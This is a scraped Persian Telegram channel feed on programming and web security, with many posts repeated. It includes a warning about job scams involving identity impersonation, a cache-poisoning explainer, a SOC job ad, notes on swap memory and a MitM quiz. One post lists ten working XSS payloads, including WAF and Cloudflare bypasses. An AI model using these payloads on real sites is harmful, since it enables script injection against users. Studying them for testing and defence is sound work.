یکی از علت هایی که پروژه هامون شکست میخوره و اصلا اجرایی نمیشه اینه که بلد نیستم اونو به قسمت های کوچیک تر تقسیم کنیم، کسی که بتونه یه پروژه رو به قسمت های کوچیک بشکنه یعنی ناخودآگاه تسلط کافی روی چیزی که میخواد بسازه داره، تفاوت یه فرد حرفه ای با یه فرد تازه کار همینه دقیقا، فرد حرفه ای میتونه اونو به قسمت های کوچیک بشکنه، اما تازه کار نه... جالب اینجاست اون قسمت های کوچیک رو هم فرد حرفه ای میتونه انجام بده هم تازه کار ولی تازه کار اصلا به این مرحله نمیرسه.
Forwarded from AAISS 2025
@aaiss_aut
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from 🦞 Geek Engineers ([ Taha. Dostifam ])
⚠️ وقت همگی بخیر. مطلب مهمی رو باید باهاتون به اشتراک بزارم! ‼️
احتمالا شما هم با شرکت های خارجی مواجه میشوید که به شما میگن تحت عنوان هویت یک سیتیزن آمریکا قراره کار بکنید و درامد های ۳ الی ۴ هزار دلاری بهتون میدن. و علاقه زیادی هم به بستن قرار داد دارند.
اما کمتر کسی میدونه که این چقد جرم بزرگیه. و این تنها محدود به ایران نمیشه و اگر بخواید مهاجرت بکنید هم با مشکل جدی مواجه میشید. چرا که جعل هویت حتی با رضایت هر جای دنیا هم که برید یه جرم محسوب میشود. پس این قضیه کلا کنسله...
اگر کسی آینده نگر باشه و به امنیت خودش اهمیت بده سراغ این شرکت ها نمیره. چون ۹۹ درصد فیک هستن و اعتمادی بهشون نیست.
من طی این ۳ ماه امروز دومین شرکتی بود که با این شرایط باهاشون مواجه شدم... خیلی داستان جالبی است :)
شرکت اولی که باهاشون مصاحبه کردم ادعا داشت یه شرکت آمریکایی هست. مصاحبه تکنیکال رو قبول شدم. سر salary هم توافق کردیم. انگلیسی م اوکی بود. همه چی رو به خوبی پیش بردیم. تا اینکه رسیدیم به مرحله قرار داد و نوشتن رزومه! من سوال کردم ازشون که اگر چطور من رو جای به سنیور ۳۰ ساله با بیش از ۱۰ ها سال تجربه جا میزنید؟ من تنها ۱۷ سالمه و نرماله که چهره م سنمو به دقت نشون بده :)
با کمال تعجب گفتن هیچ مشکلی نیست... ما خودمون اوکی میکنیم.
بعدش گفتم مشکلی نیست. صدامو چیکار میکنید؟ گفتن اونم حل میکنیم نیازی به نگرانی نیست...
بعدش گفتم خب... با سرچ کردن چهره من تو گوگل به همه اطلاعات من تو اینترنت دسترسی دارند و خیلی سریع متوجه میشن که من ایرانی هستم!
همچنین لهجه و عدم اسپیکینگ slang و native هم به خوبی این رو نشون میده!
جالبه که بدونید بعدش چه اتفاقی افتاد :)
من که همینطور اینها رو باهاشون در میون میزاشتم اون ها هم به تاکید میگفتند هیچ مشکلی نیست و شما الکی نگرانید.
اما قضیه همینطوری تموم نشد. من با وکیل قانونی صحبت کردم و اطلاعات تخصصی ای رو باهاشون در میان گذاشتم. همچنین consequence هایی که برای من به ارمغان خواهد آورد.
خیلی عجیب و شگفت انگیز شروع به تحقیر و فرار کردن از پاسخگویی کردند. جالب بود برای من که چطور این ها از اسم lawyer اینقد ترس دارند...
به من گفتند با رییس شرکت جلسه ای برگذار میکنیم که کلا قضیه رو برات از نو clarify بکنیم.
رییس شرکت خودش توی تلگرام به من DM فرستاد (اشتباه اول).
خودش پیگیر موضوع شد.(اشتباه دوم).
پروفایلش رو توی گوگل سرچ کردم و به یه مقاله روانشناختی رسیدم که بنرش این اقا بود. هیچ اطلاعاتی راجب شخصی که ادعا داشت رییس اون شرکت هست پیدا نکردم. اسمش فیک بود. (اشتباه سوم).
من حدس میزنم همون شخص دوتا اکانت داشت چون بعد از پرزنت کردن این اطلاعات دیگر به پاسخگویی ادامه نداد. انگار نه انگار که همان آدم سابق باشد.
و تمام.
این هم اضافه میکنم که یک CTO ایرانی داشتند. ادعای سنیوری میکرد :) گیت هاب فیک داشت همچنین. از کامیت ها و محتوای ریپوزیتوری ها به خوبی میشد این رو متوجه شد.
همچنین از اسپیکینگ انگلیسی خوبی برخوردار نبود.
به من میگفتند انگلیسی صحبت کن. ولی این شخص که ایرانی بود ۷۰ درصد اوقات فارسی حرف میزد و معلوم بود که اسپیکینگ خوبی ندارد.
همه این اطلاعات رو ثبت و ضبط کردم. حتی interview هایی که رفتیم رو. اگر خواستید میتونم باهاتون به اشتراک بگزارم. که مبادا گیر این ادم ها بیوفتید... که تموم شدنش دست خداست :]
پ.ن : زیر همین پست اطلاعات حقوقی هم شیر میکنم باهاتون.
با تشکر.
طاها.
احتمالا شما هم با شرکت های خارجی مواجه میشوید که به شما میگن تحت عنوان هویت یک سیتیزن آمریکا قراره کار بکنید و درامد های ۳ الی ۴ هزار دلاری بهتون میدن. و علاقه زیادی هم به بستن قرار داد دارند.
اما کمتر کسی میدونه که این چقد جرم بزرگیه. و این تنها محدود به ایران نمیشه و اگر بخواید مهاجرت بکنید هم با مشکل جدی مواجه میشید. چرا که جعل هویت حتی با رضایت هر جای دنیا هم که برید یه جرم محسوب میشود. پس این قضیه کلا کنسله...
اگر کسی آینده نگر باشه و به امنیت خودش اهمیت بده سراغ این شرکت ها نمیره. چون ۹۹ درصد فیک هستن و اعتمادی بهشون نیست.
من طی این ۳ ماه امروز دومین شرکتی بود که با این شرایط باهاشون مواجه شدم... خیلی داستان جالبی است :)
شرکت اولی که باهاشون مصاحبه کردم ادعا داشت یه شرکت آمریکایی هست. مصاحبه تکنیکال رو قبول شدم. سر salary هم توافق کردیم. انگلیسی م اوکی بود. همه چی رو به خوبی پیش بردیم. تا اینکه رسیدیم به مرحله قرار داد و نوشتن رزومه! من سوال کردم ازشون که اگر چطور من رو جای به سنیور ۳۰ ساله با بیش از ۱۰ ها سال تجربه جا میزنید؟ من تنها ۱۷ سالمه و نرماله که چهره م سنمو به دقت نشون بده :)
با کمال تعجب گفتن هیچ مشکلی نیست... ما خودمون اوکی میکنیم.
بعدش گفتم مشکلی نیست. صدامو چیکار میکنید؟ گفتن اونم حل میکنیم نیازی به نگرانی نیست...
بعدش گفتم خب... با سرچ کردن چهره من تو گوگل به همه اطلاعات من تو اینترنت دسترسی دارند و خیلی سریع متوجه میشن که من ایرانی هستم!
همچنین لهجه و عدم اسپیکینگ slang و native هم به خوبی این رو نشون میده!
جالبه که بدونید بعدش چه اتفاقی افتاد :)
من که همینطور اینها رو باهاشون در میون میزاشتم اون ها هم به تاکید میگفتند هیچ مشکلی نیست و شما الکی نگرانید.
اما قضیه همینطوری تموم نشد. من با وکیل قانونی صحبت کردم و اطلاعات تخصصی ای رو باهاشون در میان گذاشتم. همچنین consequence هایی که برای من به ارمغان خواهد آورد.
خیلی عجیب و شگفت انگیز شروع به تحقیر و فرار کردن از پاسخگویی کردند. جالب بود برای من که چطور این ها از اسم lawyer اینقد ترس دارند...
به من گفتند با رییس شرکت جلسه ای برگذار میکنیم که کلا قضیه رو برات از نو clarify بکنیم.
رییس شرکت خودش توی تلگرام به من DM فرستاد (اشتباه اول).
خودش پیگیر موضوع شد.(اشتباه دوم).
پروفایلش رو توی گوگل سرچ کردم و به یه مقاله روانشناختی رسیدم که بنرش این اقا بود. هیچ اطلاعاتی راجب شخصی که ادعا داشت رییس اون شرکت هست پیدا نکردم. اسمش فیک بود. (اشتباه سوم).
من حدس میزنم همون شخص دوتا اکانت داشت چون بعد از پرزنت کردن این اطلاعات دیگر به پاسخگویی ادامه نداد. انگار نه انگار که همان آدم سابق باشد.
و تمام.
این هم اضافه میکنم که یک CTO ایرانی داشتند. ادعای سنیوری میکرد :) گیت هاب فیک داشت همچنین. از کامیت ها و محتوای ریپوزیتوری ها به خوبی میشد این رو متوجه شد.
همچنین از اسپیکینگ انگلیسی خوبی برخوردار نبود.
به من میگفتند انگلیسی صحبت کن. ولی این شخص که ایرانی بود ۷۰ درصد اوقات فارسی حرف میزد و معلوم بود که اسپیکینگ خوبی ندارد.
همه این اطلاعات رو ثبت و ضبط کردم. حتی interview هایی که رفتیم رو. اگر خواستید میتونم باهاتون به اشتراک بگزارم. که مبادا گیر این ادم ها بیوفتید... که تموم شدنش دست خداست :]
پ.ن : زیر همین پست اطلاعات حقوقی هم شیر میکنم باهاتون.
با تشکر.
طاها.
کش پویزنینگ (Cache Poisoning):
کش پویزنینگ یک نوع حمله به سرورهای وب است که هدف آن تغییر و آلوده کردن محتوای کش (cache) است. در این حمله، یک مهاجم دادههای مخرب را در کش وب سرور قرار میدهد. سپس، زمانی که کاربران به منابع کششده دسترسی پیدا میکنند، دادههای آلوده و مخرب به آنها ارسال میشود. به این ترتیب، کاربران بدون اطلاع از تغییرات، محتوای نادرست یا کدهای مخرب را دریافت میکنند.
این حمله میتواند از طریق unkeyed پارامترها صورت بگیرد. این پارامترها ورودیهایی هستند که در سیستم کش نادیده گرفته میشوند و محتوای مشابهی برای کاربران مختلف تولید میشود. مهاجم با استفاده از این نوع پارامترها میتواند محتوای کششده را دستکاری کند و دادههای مخربی را به کاربران دیگر ارائه دهد.
آنکید (Unkeyed) پارامترها:
پارامترهای "unkeyed" به پارامترهایی اشاره دارند که در فرآیند کش (cache) وب سرور نقشی ندارند و کش به آنها توجه نمیکند. به عنوان مثال، پارامترهایی که در URL یک درخواست وب اضافه میشوند، ولی توسط سیستم کش بهعنوان بخشی از کلید کش (cache key) در نظر گرفته نمیشوند. این باعث میشود که تمامی درخواستها (حتی اگر شامل پارامترهای متفاوتی باشند) به یک منبع کششده ارجاع داده شوند.
مهاجمان میتوانند از این ضعف برای ارسال درخواستهای حاوی پارامترهای مخرب استفاده کنند و باعث شوند که محتوای آلوده به کش ارسال شود و سپس به کاربران بیاطلاع توزیع شود.
هدرهای Unkeyed:
در این نوع حمله، مهاجم تلاش میکند یک هدر Unkeyed پیدا کند که رفلکت شود. هدرهایی که در درخواستهای HTTP به سرور ارسال میشوند، میتوانند در پاسخهای سرور بهطور ناخواسته منعکس (رفلکت) شوند. اگر هدرهای خاصی در محتوای پاسخ یا کلید کش لحاظ نشوند، میتوانند بهعنوان برداری برای حملات رفلکتیو (reflected attacks) مورد سوءاستفاده قرار گیرند.
در این سناریو، مهاجم تلاش میکند تا یک هدر پیدا کند که سرور بدون اینکه آن را رمزنگاری کند یا به عنوان بخشی از کلید کش لحاظ کند، در پاسخ بازگرداند. با این کار، میتوان هدرهای مخرب را بهصورت رفلکتشده به کاربران دیگر ارسال کرد و آسیبپذیریهایی همچون XSS یا Cache Poisoning را اجرا کرد.
اکستنشن Param Miner:
ابزار Param Miner یکی از ابزارهای تست امنیتی در زمینه پیدا کردن پارامترهای آسیبپذیر است. این ابزار بهطور خودکار پارامترهایی را که توسط سیستم کش نادیده گرفته میشوند، کشف میکند. این پارامترها میتوانند در حملات مختلف، از جمله حملات cache poisoning، استفاده شوند. این ابزار بهویژه در سناریوهایی که مهاجمان به دنبال پارامترهای unkeyed هستند، مفید است.
این اکستنشن میتواند درخواستهای مختلفی با پارامترهای تصادفی به سرور ارسال کند و بررسی کند که آیا این پارامترها در فرآیند کش نادیده گرفته میشوند یا خیر. در این صورت، از آنها میتوان برای حملات Cache Poisoning استفاده کرد.
رفلکشن کوکیها (Cookie Reflection):
رفلکشن کوکیها یک آسیبپذیری مهم در امنیت وب است. در این نوع حمله، کوکیهای کاربر توسط سرور بدون تغییر یا اعتبارسنجی مجدد در پاسخ HTTP بازگردانده میشوند. این نوع رفتار میتواند برای اجرای حملات XSS یا Cache Poisoning مورد استفاده قرار گیرد.
بهعنوان مثال، اگر مهاجم بتواند کوکیهای کاربر را بهصورت رفلکتشده در پاسخ سرور قرار دهد و این اطلاعات در کش ذخیره شود، کاربران دیگر نیز میتوانند محتوای آلوده را دریافت کنند. رفلکشن کوکیها اغلب با استفاده از هدرهای HTTP یا پارامترهای URL همراه میشود و میتواند باعث افشای دادههای حساس کاربران یا اجرا شدن کدهای مخرب در مرورگرهای آنها شود.
کش پویزنینگ یک نوع حمله به سرورهای وب است که هدف آن تغییر و آلوده کردن محتوای کش (cache) است. در این حمله، یک مهاجم دادههای مخرب را در کش وب سرور قرار میدهد. سپس، زمانی که کاربران به منابع کششده دسترسی پیدا میکنند، دادههای آلوده و مخرب به آنها ارسال میشود. به این ترتیب، کاربران بدون اطلاع از تغییرات، محتوای نادرست یا کدهای مخرب را دریافت میکنند.
این حمله میتواند از طریق unkeyed پارامترها صورت بگیرد. این پارامترها ورودیهایی هستند که در سیستم کش نادیده گرفته میشوند و محتوای مشابهی برای کاربران مختلف تولید میشود. مهاجم با استفاده از این نوع پارامترها میتواند محتوای کششده را دستکاری کند و دادههای مخربی را به کاربران دیگر ارائه دهد.
آنکید (Unkeyed) پارامترها:
پارامترهای "unkeyed" به پارامترهایی اشاره دارند که در فرآیند کش (cache) وب سرور نقشی ندارند و کش به آنها توجه نمیکند. به عنوان مثال، پارامترهایی که در URL یک درخواست وب اضافه میشوند، ولی توسط سیستم کش بهعنوان بخشی از کلید کش (cache key) در نظر گرفته نمیشوند. این باعث میشود که تمامی درخواستها (حتی اگر شامل پارامترهای متفاوتی باشند) به یک منبع کششده ارجاع داده شوند.
مهاجمان میتوانند از این ضعف برای ارسال درخواستهای حاوی پارامترهای مخرب استفاده کنند و باعث شوند که محتوای آلوده به کش ارسال شود و سپس به کاربران بیاطلاع توزیع شود.
هدرهای Unkeyed:
در این نوع حمله، مهاجم تلاش میکند یک هدر Unkeyed پیدا کند که رفلکت شود. هدرهایی که در درخواستهای HTTP به سرور ارسال میشوند، میتوانند در پاسخهای سرور بهطور ناخواسته منعکس (رفلکت) شوند. اگر هدرهای خاصی در محتوای پاسخ یا کلید کش لحاظ نشوند، میتوانند بهعنوان برداری برای حملات رفلکتیو (reflected attacks) مورد سوءاستفاده قرار گیرند.
در این سناریو، مهاجم تلاش میکند تا یک هدر پیدا کند که سرور بدون اینکه آن را رمزنگاری کند یا به عنوان بخشی از کلید کش لحاظ کند، در پاسخ بازگرداند. با این کار، میتوان هدرهای مخرب را بهصورت رفلکتشده به کاربران دیگر ارسال کرد و آسیبپذیریهایی همچون XSS یا Cache Poisoning را اجرا کرد.
اکستنشن Param Miner:
ابزار Param Miner یکی از ابزارهای تست امنیتی در زمینه پیدا کردن پارامترهای آسیبپذیر است. این ابزار بهطور خودکار پارامترهایی را که توسط سیستم کش نادیده گرفته میشوند، کشف میکند. این پارامترها میتوانند در حملات مختلف، از جمله حملات cache poisoning، استفاده شوند. این ابزار بهویژه در سناریوهایی که مهاجمان به دنبال پارامترهای unkeyed هستند، مفید است.
این اکستنشن میتواند درخواستهای مختلفی با پارامترهای تصادفی به سرور ارسال کند و بررسی کند که آیا این پارامترها در فرآیند کش نادیده گرفته میشوند یا خیر. در این صورت، از آنها میتوان برای حملات Cache Poisoning استفاده کرد.
رفلکشن کوکیها (Cookie Reflection):
رفلکشن کوکیها یک آسیبپذیری مهم در امنیت وب است. در این نوع حمله، کوکیهای کاربر توسط سرور بدون تغییر یا اعتبارسنجی مجدد در پاسخ HTTP بازگردانده میشوند. این نوع رفتار میتواند برای اجرای حملات XSS یا Cache Poisoning مورد استفاده قرار گیرد.
بهعنوان مثال، اگر مهاجم بتواند کوکیهای کاربر را بهصورت رفلکتشده در پاسخ سرور قرار دهد و این اطلاعات در کش ذخیره شود، کاربران دیگر نیز میتوانند محتوای آلوده را دریافت کنند. رفلکشن کوکیها اغلب با استفاده از هدرهای HTTP یا پارامترهای URL همراه میشود و میتواند باعث افشای دادههای حساس کاربران یا اجرا شدن کدهای مخرب در مرورگرهای آنها شود.
👍3
10 پیلود XSS که ممکنه به کار بیاد:
1=> ?msg=%3Csvg%2Fonload%3Dalert%28%22XSS%22%29%20%3E, <svg/onload=alert("XSS") >
hackerone.com/reports/2433634
2=> ?utm_source=abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e
hackerone.com/reports/846338
The payload finished open function calls from jQuery, executes an alert as POC and then finished the original script tag
3=> <a+HREF="%26%237 javascrip%26%239t: alert%261par;document .domain) *>
WAF / Cloudflare Bypass
4=> ”/>&_lt;_script>alert(1)&_lt;/scr_ipt>”/> remove the underscores
hackerone.com/reports/484434
filtering using HTML entities for the alternation of <>, because I noticed that it's filtering the
5=> <a href=[ ]" onmouseover=prompt(1)//">XYZ</a>
6=> <script /*/>/*/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/*/</script /*/
7=> <blink/ onmouseover=prompt(1)>OnMouseOver
Firefox & Opera
8=> <svg> <foreignObject width="100%" height="100%"> <body> <iframe src='javascript:confirm(10)'></iframe> </body> </foreignObject> </svg>
9=> <script>var a=document.createElement("a");a.href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==";a.click();</script>
10=> jaVasCript:/--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[/[]/+alert(1)//'>"'alert(1)
1=> ?msg=%3Csvg%2Fonload%3Dalert%28%22XSS%22%29%20%3E, <svg/onload=alert("XSS") >
hackerone.com/reports/2433634
2=> ?utm_source=abc%60%3breturn+false%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e
hackerone.com/reports/846338
The payload finished open function calls from jQuery, executes an alert as POC and then finished the original script tag
3=> <a+HREF="%26%237 javascrip%26%239t: alert%261par;document .domain) *>
WAF / Cloudflare Bypass
4=> ”/>&_lt;_script>alert(1)&_lt;/scr_ipt>”/> remove the underscores
hackerone.com/reports/484434
filtering using HTML entities for the alternation of <>, because I noticed that it's filtering the
5=> <a href=[ ]" onmouseover=prompt(1)//">XYZ</a>
6=> <script /*/>/*/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/*/</script /*/
7=> <blink/ onmouseover=prompt(1)>OnMouseOver
Firefox & Opera
8=> <svg> <foreignObject width="100%" height="100%"> <body> <iframe src='javascript:confirm(10)'></iframe> </body> </foreignObject> </svg>
9=> <script>var a=document.createElement("a");a.href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==";a.click();</script>
10=> jaVasCript:/--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[/[]/+alert(1)//'>"'alert(1)
HackerOne
GoCD disclosed on HackerOne: XSS in GOCD Analytics Plugin
The `gocd/gocd-analytics-plugin` in `info-message.js` at line 28 contains a Cross-Site Scripting (XSS) vulnerability, which can be exploited via the `?msg=` parameter. Attackers can inject...
Forwarded from Network_Experts
#استخدام
عنوان شغلی: کارشناس مرکز عملیات امنیت (SOC) - سطح ۱
موقعیت: حضوری - گیشا
نوع همکاری: تماموقت
رنج حقوقی : 30 - 35
بیمه تامین اجتماعی از روز اول
بیمه درمان تکمیلی از روز اول
مزایای قانونی
بسته هدایا شرکتی
پاداش و کارانه
پزشک سازمانی
درباره موقعیت شغلی
ما به دنبال یک کارشناس SOC سطح ۱ برای پیوستن به تیم مرکز عملیات امنیت (SOC) هستیم تا در پایش و تحلیل تهدیدات امنیتی نقش کلیدی ایفا کند. اگر به امنیت سایبری علاقهمند هستید، اشتیاق یادگیری دارید و از حل چالشهای امنیتی لذت میبرید، این فرصت مناسب شماست!
مسئولیتهای اصلی
پایش داشبوردها و هشدارهای SIEM (مانند ELK، Splunk) و تحلیل آنها
تحلیل لاگهای امنیتی، ردیابی حملات و گزارش تهدیدات
انجام تریاژ اولیه هشدارها برای تشخیص مثبتهای واقعی از مثبتهای کاذب
بررسی رویدادهای امنیتی شبکه و سیستمها و ارجاع به سطوح بالاتر در صورت نیاز
همکاری در شناسایی تهدیدات، واکنش به حوادث امنیتی و تحلیل فارنزیک
پیکربندی و بهینهسازی ابزارهای پایش امنیتی
طراحی و بهروزرسانی داشبوردهای امنیتی، گزارشها و مستندات
ارتباط با کاربران در زمینه امنیت اطلاعات و تعامل با تیم service desk
#### مهارتها و شرایط مورد نیاز ####
۱ تا ۳ سال تجربه کاری در موقعیت مشابه
تجربه کار با ابزارهای SIEM (مانند Splunk، ELK، QRadar)
آشنایی با مفاهیم امنیت شبکه از جمله فایروالها، IDS/IPS، WAF و UTM
درک مناسب از لاگهای امنیتی ویندوز و لینوکس و روشهای شناسایی حملات
آشنایی با چارچوب MITRE ATT&CK و نحوه مدیریت رویدادهای امنیتی
آشنایی با ابزارهای تحلیل بستههای شبکه مانند Wireshark
آشنایی با زبانهای اسکریپتنویسی (PowerShell، Bash یا Python) امتیاز محسوب میشود
مدارک و گواهینامههای ترجیحی
(داشتن این مدارک الزامی نیست اما یک مزیت محسوب میشود)
CEH
PWK
Security+
CCNA
LPIC-1
MCSA
#########
نحوه ارسال رزومه
m.rajabi@amadehlaziz.com
@rajabee89
عنوان شغلی: کارشناس مرکز عملیات امنیت (SOC) - سطح ۱
موقعیت: حضوری - گیشا
نوع همکاری: تماموقت
رنج حقوقی : 30 - 35
بیمه تامین اجتماعی از روز اول
بیمه درمان تکمیلی از روز اول
مزایای قانونی
بسته هدایا شرکتی
پاداش و کارانه
پزشک سازمانی
درباره موقعیت شغلی
ما به دنبال یک کارشناس SOC سطح ۱ برای پیوستن به تیم مرکز عملیات امنیت (SOC) هستیم تا در پایش و تحلیل تهدیدات امنیتی نقش کلیدی ایفا کند. اگر به امنیت سایبری علاقهمند هستید، اشتیاق یادگیری دارید و از حل چالشهای امنیتی لذت میبرید، این فرصت مناسب شماست!
مسئولیتهای اصلی
پایش داشبوردها و هشدارهای SIEM (مانند ELK، Splunk) و تحلیل آنها
تحلیل لاگهای امنیتی، ردیابی حملات و گزارش تهدیدات
انجام تریاژ اولیه هشدارها برای تشخیص مثبتهای واقعی از مثبتهای کاذب
بررسی رویدادهای امنیتی شبکه و سیستمها و ارجاع به سطوح بالاتر در صورت نیاز
همکاری در شناسایی تهدیدات، واکنش به حوادث امنیتی و تحلیل فارنزیک
پیکربندی و بهینهسازی ابزارهای پایش امنیتی
طراحی و بهروزرسانی داشبوردهای امنیتی، گزارشها و مستندات
ارتباط با کاربران در زمینه امنیت اطلاعات و تعامل با تیم service desk
#### مهارتها و شرایط مورد نیاز ####
۱ تا ۳ سال تجربه کاری در موقعیت مشابه
تجربه کار با ابزارهای SIEM (مانند Splunk، ELK، QRadar)
آشنایی با مفاهیم امنیت شبکه از جمله فایروالها، IDS/IPS، WAF و UTM
درک مناسب از لاگهای امنیتی ویندوز و لینوکس و روشهای شناسایی حملات
آشنایی با چارچوب MITRE ATT&CK و نحوه مدیریت رویدادهای امنیتی
آشنایی با ابزارهای تحلیل بستههای شبکه مانند Wireshark
آشنایی با زبانهای اسکریپتنویسی (PowerShell، Bash یا Python) امتیاز محسوب میشود
مدارک و گواهینامههای ترجیحی
(داشتن این مدارک الزامی نیست اما یک مزیت محسوب میشود)
CEH
PWK
Security+
CCNA
LPIC-1
MCSA
#########
نحوه ارسال رزومه
m.rajabi@amadehlaziz.com
@rajabee89
( ربطی به مبحث چنل نداره ولی دیدم این مبحث معماری کامپیوتر جذابه 🦦)
Swap (سواپ):
سواپ یه فرآیندیه که در آن سیستم عامل اون prosses که به طور فعال استفاده نمیشوند را از (RAM) به فضای ( Virtual memory)( یه حافظه مجازی ) منتقل میکند. این یک روش برای مدیریت حافظه است و به سیستم اجازه میدهد تا بیش از ظرفیت فیزیکی RAM خود به نظر برسد. سواپ عمدتاً زمانی اتفاق میافتد که Ram پر شود و به فضای بیشتری برای اجرای برنامهها نیاز باشد و معمولا افزایش یا کاهش Swap دست خودمونه.
خب حالا یه سوال پیش میاد ؟
من میتونم هر برنامه ای مثلا یه گیم با 20 گیگ رم رو تویه سیستم با 8 گیگ رم اجرا کنم؟
نه ، چند تا بحث هس :
اولیش اینه که یه مفهومی هس به اسم ( working set ) و نشون میده که یه مجموعهای از صفحات حافظه ( page tables ) است که یک پروسه در طول یک دوره زمانی خاص به آنها دسترسی دارد یا از آنها استفاده میکند ( اصل لوکالیتی) .
حالا چون برنامه یه سری پروسه ها رو نیاز داره و باید اجرا بشه دنبالش تویه RAM میگرده و پیداش نمیکنه ( اصطلاحا میگن miss خورده) و حالا باید بره از Virtual memory بیاره که اوردر پیدا کردن و آوردنش خیلی بیشتر از پیدا کردن تویه خود ram هست و سرعتو کاهش میده
و یه مسئله دیگه هم اینه که برخی از برنامهها به گونهای طراحی شدهاند که نیاز به مقدار مشخصی از RAM دارند و عملکرد صحیح آنها در صورت کمبود RAM به شدت تحت تأثیر قرار میگیرد یا اصلاً اجرا نمیشن
خب حالا از کجا میفهمه من اونقدر حجم ندارم ؟
برنامهها هنگام اجرا میتوانند درخواست حافظه کنند. اگر سیستم عامل نتواند این مقدار حافظه را فوراً تخصیص دهد (چه به دلیل کمبود RAM، چه نیاز به سواپ کردن دادهها)، برنامه ممکن است با خطا یا کاهش عملکرد مواجه بشه
یا اینکه کلا برنامه میتونه از طریق API های سیستم عامل مقدار حجم ram رو ببینه مثلا تویه لینوکس : /proc/meminfo
Swap (سواپ):
سواپ یه فرآیندیه که در آن سیستم عامل اون prosses که به طور فعال استفاده نمیشوند را از (RAM) به فضای ( Virtual memory)( یه حافظه مجازی ) منتقل میکند. این یک روش برای مدیریت حافظه است و به سیستم اجازه میدهد تا بیش از ظرفیت فیزیکی RAM خود به نظر برسد. سواپ عمدتاً زمانی اتفاق میافتد که Ram پر شود و به فضای بیشتری برای اجرای برنامهها نیاز باشد و معمولا افزایش یا کاهش Swap دست خودمونه.
خب حالا یه سوال پیش میاد ؟
من میتونم هر برنامه ای مثلا یه گیم با 20 گیگ رم رو تویه سیستم با 8 گیگ رم اجرا کنم؟
نه ، چند تا بحث هس :
اولیش اینه که یه مفهومی هس به اسم ( working set ) و نشون میده که یه مجموعهای از صفحات حافظه ( page tables ) است که یک پروسه در طول یک دوره زمانی خاص به آنها دسترسی دارد یا از آنها استفاده میکند ( اصل لوکالیتی) .
حالا چون برنامه یه سری پروسه ها رو نیاز داره و باید اجرا بشه دنبالش تویه RAM میگرده و پیداش نمیکنه ( اصطلاحا میگن miss خورده) و حالا باید بره از Virtual memory بیاره که اوردر پیدا کردن و آوردنش خیلی بیشتر از پیدا کردن تویه خود ram هست و سرعتو کاهش میده
و یه مسئله دیگه هم اینه که برخی از برنامهها به گونهای طراحی شدهاند که نیاز به مقدار مشخصی از RAM دارند و عملکرد صحیح آنها در صورت کمبود RAM به شدت تحت تأثیر قرار میگیرد یا اصلاً اجرا نمیشن
خب حالا از کجا میفهمه من اونقدر حجم ندارم ؟
برنامهها هنگام اجرا میتوانند درخواست حافظه کنند. اگر سیستم عامل نتواند این مقدار حافظه را فوراً تخصیص دهد (چه به دلیل کمبود RAM، چه نیاز به سواپ کردن دادهها)، برنامه ممکن است با خطا یا کاهش عملکرد مواجه بشه
یا اینکه کلا برنامه میتونه از طریق API های سیستم عامل مقدار حجم ram رو ببینه مثلا تویه لینوکس : /proc/meminfo
کدام یک از روش های زیر برای شناسایی حملات (MitM)Man-in-the-middle در ارتباطات شبکه آب با استفاده از HTTPS مناسب تر است
Anonymous Quiz
35%
الف ) با استفاده از self-signed Certificates برای تایید هویت سرور
29%
ب) استفاده از HTTP Strict Transport Security (HSTS) برای اطمینان از استفاده همیشگی از HTTPS
29%
ج ) بررسی اختلاف زمانی میان گواهی نامه SSL و زمان سیستم
6%
د ) بررسی طول عمر گواهی نامه SSL سرور از طریق یک لیست سفید مشخص
با فرض داشتن دانش لازم مقدماتی که قبلا توی نقشه های راه تو همین کانال توضیح دادم :
اگر وارد حوزه امنیت میخایین بشین پیشنهاد من دوره CEH است
اما اگر مقدمات امنیت رو کار کردین پیشنهاد من همین دوره OSCP هستش (خصوصا اگر قصد استخدام تو شرکتهایی هستین که نفر امنیتی میخان)
{متاسفانه تو اموزشگاه ها سرسری از روی مباحث این دوره میگذرن و در حد کار کردن با چند تا از ابزارهای کالی میدونن اما واقعا یه دوره خوب و قابل اتوجه هستش خصوصا برای کسانی که میخان وارد تست نفوذ شبکه بشن هر چند ماحث وب هم داره}
پس اگر میخایین به عنوان نیروی جونیور وارد شرکتهایی بشین که پوزیشن باز امنیتی دارن بهترین گزینه است
اما اگر میخایین وارد حوزه وب تخصصی بشین پیشنهادم دوره تست نفوذ وبه که در حال برگزاریه
دوره های تخصصی دیگه که در حال برگزاریه و مناسب کسانی که تازه کار هستن نیس متاسفانه
(هیشکی از پول گرفتن بدش نمیاد اما دوره های دیگه من مناسب افراد تازه کار نیس و پول هدر دادنه برای شما)
خیلی از کاربران چندین وقته این سوالات رو میپرسن گفتم یه جا توی یه پست همه اون سوالات رو یه جا جواب بدم
اگر وارد حوزه امنیت میخایین بشین پیشنهاد من دوره CEH است
اما اگر مقدمات امنیت رو کار کردین پیشنهاد من همین دوره OSCP هستش (خصوصا اگر قصد استخدام تو شرکتهایی هستین که نفر امنیتی میخان)
{متاسفانه تو اموزشگاه ها سرسری از روی مباحث این دوره میگذرن و در حد کار کردن با چند تا از ابزارهای کالی میدونن اما واقعا یه دوره خوب و قابل اتوجه هستش خصوصا برای کسانی که میخان وارد تست نفوذ شبکه بشن هر چند ماحث وب هم داره}
پس اگر میخایین به عنوان نیروی جونیور وارد شرکتهایی بشین که پوزیشن باز امنیتی دارن بهترین گزینه است
اما اگر میخایین وارد حوزه وب تخصصی بشین پیشنهادم دوره تست نفوذ وبه که در حال برگزاریه
دوره های تخصصی دیگه که در حال برگزاریه و مناسب کسانی که تازه کار هستن نیس متاسفانه
(هیشکی از پول گرفتن بدش نمیاد اما دوره های دیگه من مناسب افراد تازه کار نیس و پول هدر دادنه برای شما)
خیلی از کاربران چندین وقته این سوالات رو میپرسن گفتم یه جا توی یه پست همه اون سوالات رو یه جا جواب بدم
2/3
پکیج منیجرها در لینوکس: داینامیک ریپازیتوری و بهینگی Dependencyها
